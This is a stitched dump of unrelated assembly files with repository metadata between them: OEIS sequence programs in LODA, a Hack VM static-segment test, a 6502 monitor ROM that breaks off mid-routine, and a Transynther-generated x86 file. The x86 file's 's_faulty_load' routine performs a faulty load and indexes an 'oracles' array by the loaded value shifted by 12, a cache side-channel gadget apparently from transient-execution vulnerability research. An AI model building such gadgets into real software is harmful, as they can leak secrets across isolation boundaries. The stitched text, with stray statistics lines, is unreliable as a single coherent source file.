; A192951: Coefficient of x in the reduction by x^2 -> x+1 of the polynomial p(n,x) defined at Comments. ; 0,1,3,9,20,40,74,131,225,379,630,1038,1700,2773,4511,7325,11880,19252,31182,50487,81725,132271,214058,346394,560520,906985,1467579,2374641,3842300,6217024,10059410,16276523,26336025,42612643,68948766,111561510,180510380,292071997,472582487,764654597,1237237200,2001891916,3239129238,5241021279,8480150645,13721172055,22201322834,35922495026,58123818000,94046313169,152170131315,246216444633,398386576100,644603020888,1042989597146,1687592618195,2730582215505,4418174833867,7148757049542,11566931883582,18715688933300,30282620817061,48998309750543,79280930567789,128279240318520,207560170886500,335839411205214,543399582091911,879238993297325,1422638575389439,2301877568686970,3724516144076618,6026393712763800,9750909856840633,15777303569604651,25528213426445505,41305516996050380,66833730422496112,108139247418546722,174972977841043067,283112225259590025,458085203100633331,741197428360223598,1199282631460857174,1940480059821081020,3139762691281938445,5080242751103019719,8220005442384958421,13300248193487978400,21520253635872937084,34820501829360915750,56340755465233853103,91161257294594769125,147502012759828622503,238663270054423391906,386165282814252014690,624828552868675406880,1010993835682927421857,1635822388551602829027,2646816224234530251177 add $0,2 mov $2,38 sub $2,$0 seq $0,22308 ; a(n) = a(n-1) + a(n-2) + 1 for n>1, a(0)=0, a(1)=3. add $0,$2 add $0,$2 sub $2,1 add $0,$2 sub $0,111
116.153846
1,257
0.863576
b867ef35180c4d584e64eac65a9b0f21fbb6393d
773
asm
Assembly
oeis/038/A038872.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/038/A038872.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/038/A038872.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A038872: Primes congruent to {0, 1, 4} mod 5. ; Submitted by Jon Maiga ; 5,11,19,29,31,41,59,61,71,79,89,101,109,131,139,149,151,179,181,191,199,211,229,239,241,251,269,271,281,311,331,349,359,379,389,401,409,419,421,431,439,449,461,479,491,499,509,521,541,569,571,599,601,619,631,641,659,661,691,701,709,719,739,751,761,769,809,811,821,829,839,859,881,911,919,929,941,971,991,1009,1019,1021,1031,1039,1049,1051,1061,1069,1091,1109,1129,1151,1171,1181,1201,1229,1231,1249,1259,1279 mov $1,2 mov $2,332202 lpb $2 mov $3,$6 mul $3,2 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,5 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 sub $2,18 mov $5,$1 div $5,3 mov $6,$5 lpe mov $0,$5 sub $0,1 mul $0,2 add $0,3
29.730769
410
0.668823
43f85af3ad057026c6f69c6166f25144e2493868
6,728
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_10265_758.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_10265_758.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_10265_758.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r13 push %r15 push %r9 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_WT_ht+0x1b62a, %rbp nop nop nop nop and %r15, %r15 and $0xffffffffffffffc0, %rbp vmovntdqa (%rbp), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $1, %xmm4, %r9 nop nop nop nop nop add $43646, %r10 lea addresses_WC_ht+0x7e5a, %r13 nop xor $9304, %rbp movb (%r13), %r11b nop nop nop nop nop inc %rbp lea addresses_WC_ht+0x1de2a, %r15 add %rax, %rax movl $0x61626364, (%r15) nop nop nop nop cmp %r10, %r10 lea addresses_UC_ht+0x1da08, %rsi lea addresses_UC_ht+0x11c5a, %rdi nop cmp %r9, %r9 mov $16, %rcx rep movsq sub %r10, %r10 lea addresses_D_ht+0x176ee, %r10 nop nop and $7544, %rax mov (%r10), %r11 xor $55150, %rsi lea addresses_WC_ht+0xdd8a, %rbp nop nop cmp %r9, %r9 vmovups (%rbp), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $0, %xmm7, %r13 nop inc %r10 lea addresses_UC_ht+0x1d0aa, %r9 nop xor $31229, %r10 mov (%r9), %r13d nop nop add %r15, %r15 lea addresses_WT_ht+0x1905a, %r9 nop nop nop nop nop and %rdi, %rdi movb $0x61, (%r9) nop nop nop nop nop add %rdi, %rdi lea addresses_WT_ht+0x6c2a, %rsi lea addresses_D_ht+0x466, %rdi nop nop nop xor $34251, %r11 mov $120, %rcx rep movsl nop nop nop xor $17374, %r11 lea addresses_WC_ht+0x19612, %r15 dec %r9 movl $0x61626364, (%r15) nop nop nop nop sub %r13, %r13 pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r15 pop %r13 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r13 push %r15 push %rax push %rdi push %rsi // Store lea addresses_WT+0x1c552, %r15 nop nop dec %rdi mov $0x5152535455565758, %rsi movq %rsi, %xmm4 vmovups %ymm4, (%r15) nop nop nop nop nop sub $38468, %rdi // Faulty Load lea addresses_A+0x1e62a, %rax nop nop nop nop nop and $12994, %r11 mov (%rax), %rdi lea oracles, %r13 and $0xff, %rdi shlq $12, %rdi mov (%r13,%rdi,1), %rdi pop %rsi pop %rdi pop %rax pop %r15 pop %r13 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 11, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'00': 10265} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
35.410526
2,999
0.656659
7f82a4ce45577616648df1b10735a283c5f4b0b5
589
asm
Assembly
projects/07/MemoryAccess/StaticTest/StaticTest.asm
Liquidibrium/nand2tetris
927d222e7556b9aab0f5b4d2f28b92dce1cf2346
[ "MIT" ]
null
null
null
projects/07/MemoryAccess/StaticTest/StaticTest.asm
Liquidibrium/nand2tetris
927d222e7556b9aab0f5b4d2f28b92dce1cf2346
[ "MIT" ]
null
null
null
projects/07/MemoryAccess/StaticTest/StaticTest.asm
Liquidibrium/nand2tetris
927d222e7556b9aab0f5b4d2f28b92dce1cf2346
[ "MIT" ]
null
null
null
//push const 111 @111 D=A @SP A=M M=D @SP M=M+1 //push const 333 @333 D=A @SP A=M M=D @SP M=M+1 //push const 888 @888 D=A @SP A=M M=D @SP M=M+1 //pop static 8 @StaticTest.8 D=A @R13 M=D @SP AM=M-1 D=M @R13 A=M M=D //pop static 3 @StaticTest.3 D=A @R13 M=D @SP AM=M-1 D=M @R13 A=M M=D //pop static 1 @StaticTest.1 D=A @R13 M=D @SP AM=M-1 D=M @R13 A=M M=D //push static 3 @StaticTest.3 D=M @SP A=M M=D @SP M=M+1 //push static 1 @StaticTest.1 D=M @SP A=M M=D @SP M=M+1 //sub @SP AM=M-1 D=M A=A-1 M=M-D //push static 8 @StaticTest.8 D=M @SP A=M M=D @SP M=M+1 //add @SP AM=M-1 D=M A=A-1 M=M+D
6.265957
16
0.597623
43dafbf07a5a826fe4dfdd5bd8bacadb5692d6c0
401
asm
Assembly
oeis/159/A159958.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/159/A159958.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/159/A159958.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A159958: Lodumo_3 of A053838 . ; Submitted by Christian Krause ; 0,1,2,4,5,3,8,6,7,10,11,9,14,12,13,15,16,17,20,18,19,21,22,23,25,26,24,28,29,27,32,30,31,33,34,35,38,36,37,39,40,41,43,44,42,45,46,47,49,50,48,53,51,52,56,54,55,57,58,59,61,62,60,63,64,65,67,68,66,71,69,70,73 mov $4,$0 div $4,3 lpb $0 add $2,$0 div $0,3 lpe lpb $2 mod $2,3 lpe mov $1,$2 mov $3,$4 mul $3,3 add $1,$3 mov $0,$1
21.105263
210
0.623441
cf5948420542267b490fe8be362a288a2ed5933f
194
asm
Assembly
examples/fib.asm
shockkolate/shk-asm
8db629519929eb03e852de0e85b98d879610a133
[ "Apache-2.0" ]
null
null
null
examples/fib.asm
shockkolate/shk-asm
8db629519929eb03e852de0e85b98d879610a133
[ "Apache-2.0" ]
null
null
null
examples/fib.asm
shockkolate/shk-asm
8db629519929eb03e852de0e85b98d879610a133
[ "Apache-2.0" ]
null
null
null
MOV $0, #0 MOV $1, #1 MOV $2, #0 LOD $3, fib_digit loop: b: c: d: ADD $4, $0, $1 MOV $0, $1 MOV $1, $4 ADD $2, $2, #1 CMP $5, $2, $3 BRA loop, !LT $5 e: DBG DIE fib_digit: DAT #10
9.7
18
0.484536
3d703d54c17ac023694a8de8c53e23dd6ca421b1
2,196
asm
Assembly
programs/oeis/094/A094706.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/094/A094706.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/094/A094706.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A094706: Convolution of Pell(n) and 2^n. ; 0,1,4,13,38,105,280,729,1866,4717,11812,29365,72590,178641,438064,1071153,2613138,6362965,15470140,37565389,91125206,220864377,534951112,1294960905,3133261530,7578261181,18323338324,44292046693,107041649438,258643781025,624866082400,1509449687649,3645912941346,8805570537637,21265643951212,51354038309245,124008080308070,299438918402121,723023356065784,1745760508440633,4215094128760938,10177048277590285,24571389707197060,59324225738495509,143228637277210286,345799092478960497,834862006607220112,2015593474437578385,4866189692970732210,11748254335355753461,28363261313635660444,68475902862533916973,165317318838517179638,399115044139195646745,963556414316163214120,2326245887170031556969,5616084217453245292026,13558486379670560068957,32733201091982441285812,79025176794011594352325,190784131140757933413950,460594591997032068027201,1111975620977831283162304,2684550445638713061739713,6481085735627294261417538,15646740363637375294126405,37774603356390192268773580,91196020863394054669880029,220166792657130891284946566,531529901325561016592599017,1283227185604063283175796312,3097985453125308300355495065,7479200453037921318709393290,18056391081567633807419495341,43591992060906154672838811364,105240394092845874631677972853,254072818025529766893356466638,613386105701769134332714325265,1480845180544795487387431955440,3575076769022815012764871912689,8630999323053335320231763133906,20837076624055305267857572886677,50305154989015585085205258319612,121447391437789753896784788350605,293199947536001649795808232670230,707847305852606167322468048989881,1708894597926840212108877921247624,4125636579077539046876491072680393,9960167910824423216534394428998938,24045972710211395301290348655459325,58052113950217233461805229189479700,140150201848585901510281081933542949,338352520123269115053127942854814046,816855247046884288758058067239667937 mov $2,1 lpb $2 sub $2,1 add $3,1 lpb $3 sub $3,1 mov $4,2 mov $5,4 mov $6,1 lpb $0 sub $0,1 mov $1,$4 mov $4,$6 sub $5,2 add $6,$1 add $4,$6 add $5,$1 mul $5,2 lpe mul $5,2 mov $1,$5 lpe lpe sub $1,8 div $1,8 mov $0,$1
73.2
1,843
0.864754
8c51a1f4429f038025bf624b038b8b44f54886b1
526
asm
Assembly
oeis/137/A137319.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/137/A137319.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/137/A137319.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A137319: Start with the set of natural numbers. Add 1 to every 2nd term, 2 to every 3rd term, 3 to every 4th term, etc. ; Submitted by Jamie Morken(w2) ; 1,3,5,8,9,14,13,19,19,24,21,34,25,34,35,42,33,51,37,56,49,54,45,76,53,64,63,78,57,94,61,89,77,84,79,118,73,94,91,122,81,130,85,122,117,114,93,162,103,137,119,144,105,166,123,168,133,144,117,216,121,154,161,184 add $0,1 mov $2,$0 lpb $0 mov $3,$0 sub $0,1 mov $4,$2 gcd $4,$3 trn $4,$0 pow $3,$4 add $1,$3 lpe mul $1,6 mov $0,$1 sub $0,6 div $0,6 add $0,1
25.047619
211
0.638783
0ba83ee8e531e9503f5e8cf95b6d2218b2bde1ad
115,158
asm
Assembly
MH6502-4/ASM/test.asm
FredericSegard/Micro-Hobbyist
4074e5d91154db92efedda5952a58f48531b4cf3
[ "MIT" ]
null
null
null
MH6502-4/ASM/test.asm
FredericSegard/Micro-Hobbyist
4074e5d91154db92efedda5952a58f48531b4cf3
[ "MIT" ]
null
null
null
MH6502-4/ASM/test.asm
FredericSegard/Micro-Hobbyist
4074e5d91154db92efedda5952a58f48531b4cf3
[ "MIT" ]
null
null
null
; Asynchronous Communications Interface Adapter (ACIA) - DCE ACIA1 = $7700 ; Base address of ACIA1 ACIA1_DATA = ACIA1 ; Data register ACIA1_STATUS = ACIA1+1 ; Read: Status Register, Write: Programmed Reset ACIA1_CMD = ACIA1+2 ; Command Register ACIA1_CTRL = ACIA1+3 ; Control Register ; Versatile Interface Adapter (VIA) - PS/2 keyboard & mouse, and NES controllers. With interrupt driven switches VIA1 = $7710 ; Base address of VIA1 VIA1_PORTB = VIA1 ; Data I/O register for port B VIA1_PORTA = VIA1+1 ; Data I/O register for port A VIA1_DDRB = VIA1+2 ; Data Direction of port B VIA1_DDRA = VIA1+3 ; Data Direction of port A VIA1_T1CL = VIA1+4 ; Timer 1 [read = Counter] [write = Latches] (low order) VIA1_T1CH = VIA1+5 ; Timer 1 Counter (high order) VIA1_T1LL = VIA1+6 ; Timer 1 Latches (low order) VIA1_T1LH = VIA1+7 ; Timer 1 Latches (high order) VIA1_T2CL = VIA1+8 ; Timer 2 [read = Counter] [write = Latches] (low order) VIA1_T2CH = VIA1+9 ; Timer 2 Counter (high order) VIA1_SR = VIA1+10 ; Shift Register VIA1_ACR = VIA1+11 ; Auxiliary Control Register VIA1_PCR = VIA1+12 ; Peripheral Control Register VIA1_IFR = VIA1+13 ; Interrupt Flag Register VIA1_IER = VIA1+14 ; Interrupt Enable Register VIA1_PORTA_NH = VIA1+15 ; Same as PORT_A but with no handshake ; Versatile Interface Adapter (VIA) - 8-bit LCD with SPI on mini-DIN VIA2 = $7720 ; Base address of VIA1 VIA2_PORTB = VIA2 ; Data I/O register for port B VIA2_PORTA = VIA2+1 ; Data I/O register for port A VIA2_DDRB = VIA2+2 ; Data Direction of port B VIA2_DDRA = VIA2+3 ; Data Direction of port A VIA2_T1CL = VIA2+4 ; Timer 1 [read = Counter] [write = Latches] (low order) VIA2_T1CH = VIA2+5 ; Timer 1 Counter (high order) VIA2_T1LL = VIA2+6 ; Timer 1 Latches (low order) VIA2_T1LH = VIA2+7 ; Timer 1 Latches (high order) VIA2_T2CL = VIA2+8 ; Timer 2 [read = Counter] [write = Latches] (low order) VIA2_T2CH = VIA2+9 ; Timer 2 Counter (high order) VIA2_SR = VIA2+10 ; Shift Register VIA2_ACR = VIA2+11 ; Auxiliary Control Register VIA2_PCR = VIA2+12 ; Peripheral Control Register VIA2_IFR = VIA2+13 ; Interrupt Flag Register VIA2_IER = VIA2+14 ; Interrupt Enable Register VIA2_PORTA_NH = VIA2+15 ; Same as PORT_A but with no handshake ; RTC declarations (numbers are BCD) RTC_YEAR = $7FFF ; 00-99 (b7-b4 = tens) RTC_MONTH = $7FFE ; 1-12 (b4 = tens)) RTC_DATE = $7FFD ; 1-31 (b5-b4 = tens) RTC_DAY = $7FFC ; 1-7 (b6 = Frequency Test, 0 for normal operation) RTC_HOURS = $7FFB ; 00-23 (b5-b4 = tens) RTC_MINUTES = $7FFA ; 00-59 (b6-b4 = tens) RTC_SECONDS = $7FF9 ; 00-59 (b7 = Stop bit, b6-b4 = tens) RTC_CTRL = $7FF8 ; (b7 = Write, b6 = Read, b5 = Sign, b4-b0 = Calibration) ; MISCELANEOUS INT_SEL = $770E ; Priority Interrupt BANK_SEL = $770F ; Bank Select ; LOCAL BANKRAM_NO = $00 ; Current RAM bank TEMP = $01 ; Generic (2-bytes) GET_TEMP = $03 ; Temporary variable to 2nd level get byte or word commands MON_TEMP = $05 ; Temporary variable to 1st level monitor command (2-bytes) DIAG_TEMP = $0340 ; Temporary variable for ZeroPage and StackPage memory test ; PARSE PARSE_IN_BUFF_POS = MON_TEMP ; PARSE_ERROR_PTR = MON_TEMP+1 ; ; GLOBAL CUR_ADDR = $10 ; Current address (2-bytes) SRC_ADDR = $12 ; Source/Start address (2-bytes) DES_ADDR = $14 ; Destination/End address (2-bytes) WORD = $16 ; 16-bit variable (2-bytes) ERROR_PTR = $18 ; Error pointer for command line (1-byte) BIN = $19 ; Hexadecimal number to be converted (2-bytes) BCD = $1B ; Binary coded decimal (3-bytes) ; TIMERS TICKS = $30 ; 32-bit counter (4-bytes) TOGGLE_TIME = $34 ; ; KEYBOARD KB_WPTR = $20 ; Keyboard write pointer KB_RPTR = $21 ; Keyboard read pointer KB_BUFFER = $0200 ; Keyboard buffer (256 bytes) ; MOUSE MS_DATA = $46 MS_X = $47 MS_Y = $48 ; NES NES_CTRL1 = $49 NES_CTRL2 = $4A ; Processor variables PROC_A = $50 ; Accumulator PROC_X = $51 ; X register PROC_Y = $52 ; Y register PROC_FLAGS = $53 ; Processor flags PROC_PC = $54 ; Program counter ; Intel Hex variables RECORD_LENGTH = $56 ; Record length in bytes START = $57 ; 2-bytes RECORD_TYPE = $59 ; Record type CHECKSUM = $5A ; Record checksum accumulator DOWNLOAD_FAIL = $5B ; Flag for download failure ; DISASSEMBLER OPCODE = $5C ; Opcode OPERAND1 = $5D ; First operand byte (single byte, or LSB of 16-bit address) OPERAND2 = $5E ; Second operand byte (MSB of 16-bit address) ADDR_MODE = $5F ; Addressing mode ; STRING IN_BUFFER = $0300 ; Command line input buffer (34-bytes) ; Keystrokes BS = $08 ; Backspace TAB = $09 ; Horizontal Tab CR = $0D ; Carriage return LF = $0A ; Line feed ESC = $1B ; Escape (to exit) ; Display specific COLUMNS = 40 ; Number of columns the display has ROWS = 24 ; Number of lines the display has BYTES_PER_LINE = 8 ; Number of bytes per line to display in the read command ;Time specific SHORT = "S" ; Short time format (2022-02-16) MEDIUM = "M" ; Medium time format (February 16, 2022) LONG = "L" ; Long date format (Wednesday, February 16, 2022) ; Miscellaneous LIFE_LED = $80 ; VIA1 PA7 (Peripheral life LED timer tick set to...) ; Memory location START_RAM = $0200 ; Start location of SRAM (excluding zero page and stack page) END_RAM = $55FF ; End location of SRAM START_BANKRAM = $5600 END_BANKRAM = $75FF NUMBER_OF_BANKS = 1 ;512/8 ; 512K / 8K = 64 pages START_NVRAM = $7800 ; Start location of NVRAM END_NVRAM = $7FF7 ; End location of NVRAM (excluding RTC area) ENTRY_POINT = $1000 ; Intel Hex LOAD entry point default location ; Disassemble addressing modes IMP = 1 ; Implicite IMM = 2 ; Immediate: #$00 REL = 3 ; PC-relative: $00 ZP = 4 ; Zeropage: $00 ZPX = 5 ; Zeropage X: $00,X ZPY = 6 ; Zeropage Y: $00,Y IZP = 7 ; Indirect zeropage: ($00) IZX = 8 ; Indirect zeropage X: ($00,X) IZY = 9 ; Indirect zeropage Y: ($00,Y) ZPR = 10 ; Zeropage (PC-relative): $00,$00 ABS = 11 ; Absolute: $0000 ABX = 12 ; Absolute X: $0000,X ABY = 13 ; Absolute Y: $0000,Y IND = 14 ; Indirect: ($0000) IAX = 15 ; Indirect X: ($0000,X) IAY = 16 ; Indirect Y: ($0000),Y .org $8000 setup: sei ; Set interrupt inhibit bit cld ; Clear decimal mode (binary mode arithmetic) ; Initialize stack (zero out page) ldx #$00 ; Reset pointer init_stackpage: stz $0100,x ; Zero out address $0100 + X inx ; Point to next memory location bne init_stackpage ; Loop until Z reaches zero ldx #$FF ; Initialize stack to ($01FF) txs ; Set the stack register ; Initialize all variables in zero page ldx #$00 ; Reset pointer init_zeropage: stz $00,x ; Zero out address $0100 + X inx ; Point to next memory location bne init_zeropage ; Loop until Z reaches zero ; Initialize I/O jsr acia_init ; Initialize all ACIAs ;jsr via_init ;cli ; Print welcome message on terminal ldx #<welcome_msg ; Get LSB address of msg ldy #>welcome_msg ; Get MSB address of msg jsr print_string ; Write message ; Print date and time on terminal ;lda #LONG ; Long date format ;jsr print_date ;lda #" " ;jsr print_char ;jsr print_char ;jsr print_char ;lda #12 ; 12 hour format ;jsr print_time ;lda #CR ; Change line ;jsr print_char ; ;jsr print_char ; main: jsr command_prompt ; Print prompt, constinuting of current address and a "greater than" character jsr read_prompt ; Read a line from input device to IN_BUFFER bcc main ; If no characters in buffer, then loop to command prompt jsr parse ; Parse string and execute commands bra main ; _ _ _ _ ; __ _ ___ (_) __ _ (_) _ __ (_) | |_ ; / _` | / __| | | / _` | | | | '_ \ | | | __| ; | (_| | | (__ | | | (_| | | | | | | | | | | |_ ; \__,_| \___| |_| \__,_| _____ |_| |_| |_| |_| \__| ; |_____| ; ; Initialize ACIA ; ---------------------------------------------------------------------------------------------------------------------- acia_init: ; INITIALIZE ACIA 1 stz ACIA1_STATUS ; Software reset lda #%00011111 ; 1 stop bit, 8 data bits, 19200 baud sta ACIA1_CTRL lda #%00001011 ; No parity, normal echo, no RTS, DTR low sta ACIA1_CMD rts ; _ _ ; __ _ __| | __| | _ __ ___ ___ ___ ; / _` | / _` | / _` | | '__| / _ \ / __| / __| ; | (_| | | (_| | | (_| | | | | __/ \__ \ \__ \ ; \__,_| \__,_| \__,_| |_| \___| |___/ |___/ ; ; Set current address ; ---------------------------------------------------------------------------------------------------------------------- address: lda IN_BUFFER,y ; Read a character from the input buffer beq address_default ; Is it end of buffer (0)? Yes, so use default address (CUR_ADDR) cmp #" " ; Is it the space delimiter? beq address_get ; Yes it is. Then go read an address jsr syntax_error ; If anything else, print a syntax error rts ; End of routine address_default: ; IF NO ADDRESS PROVIDED, GET CUR ADDRESS USED +1 stz CUR_ADDR+1 ; Set MSB address as 00 stz CUR_ADDR ; Set LSB address as 00 rts ; address_get: ; GET START ADDRESS jsr skip_spaces ; skip leading spaces if any jsr get_word ; Get address from the input buffer bcc address_error ; Error in address lda WORD+1 ; Store word as address sta CUR_ADDR+1 ; lda WORD ; sta CUR_ADDR ; rts address_error: jsr invalid_address rts ; _ _ ____ _ _ ; | |__ (_) _ __ |___ \ | |__ ___ __| | ; | '_ \ | | | '_ \ __) | | '_ \ / __| / _` | ; | |_) | | | | | | | / __/ | |_) | | (__ | (_| | ; |_.__/ |_| |_| |_| |_____| |_.__/ \___| \__,_| ; ; Converts a binary numerical number and displays it as printable decimal ; Thanks to Andrew Jacobs for the code ; 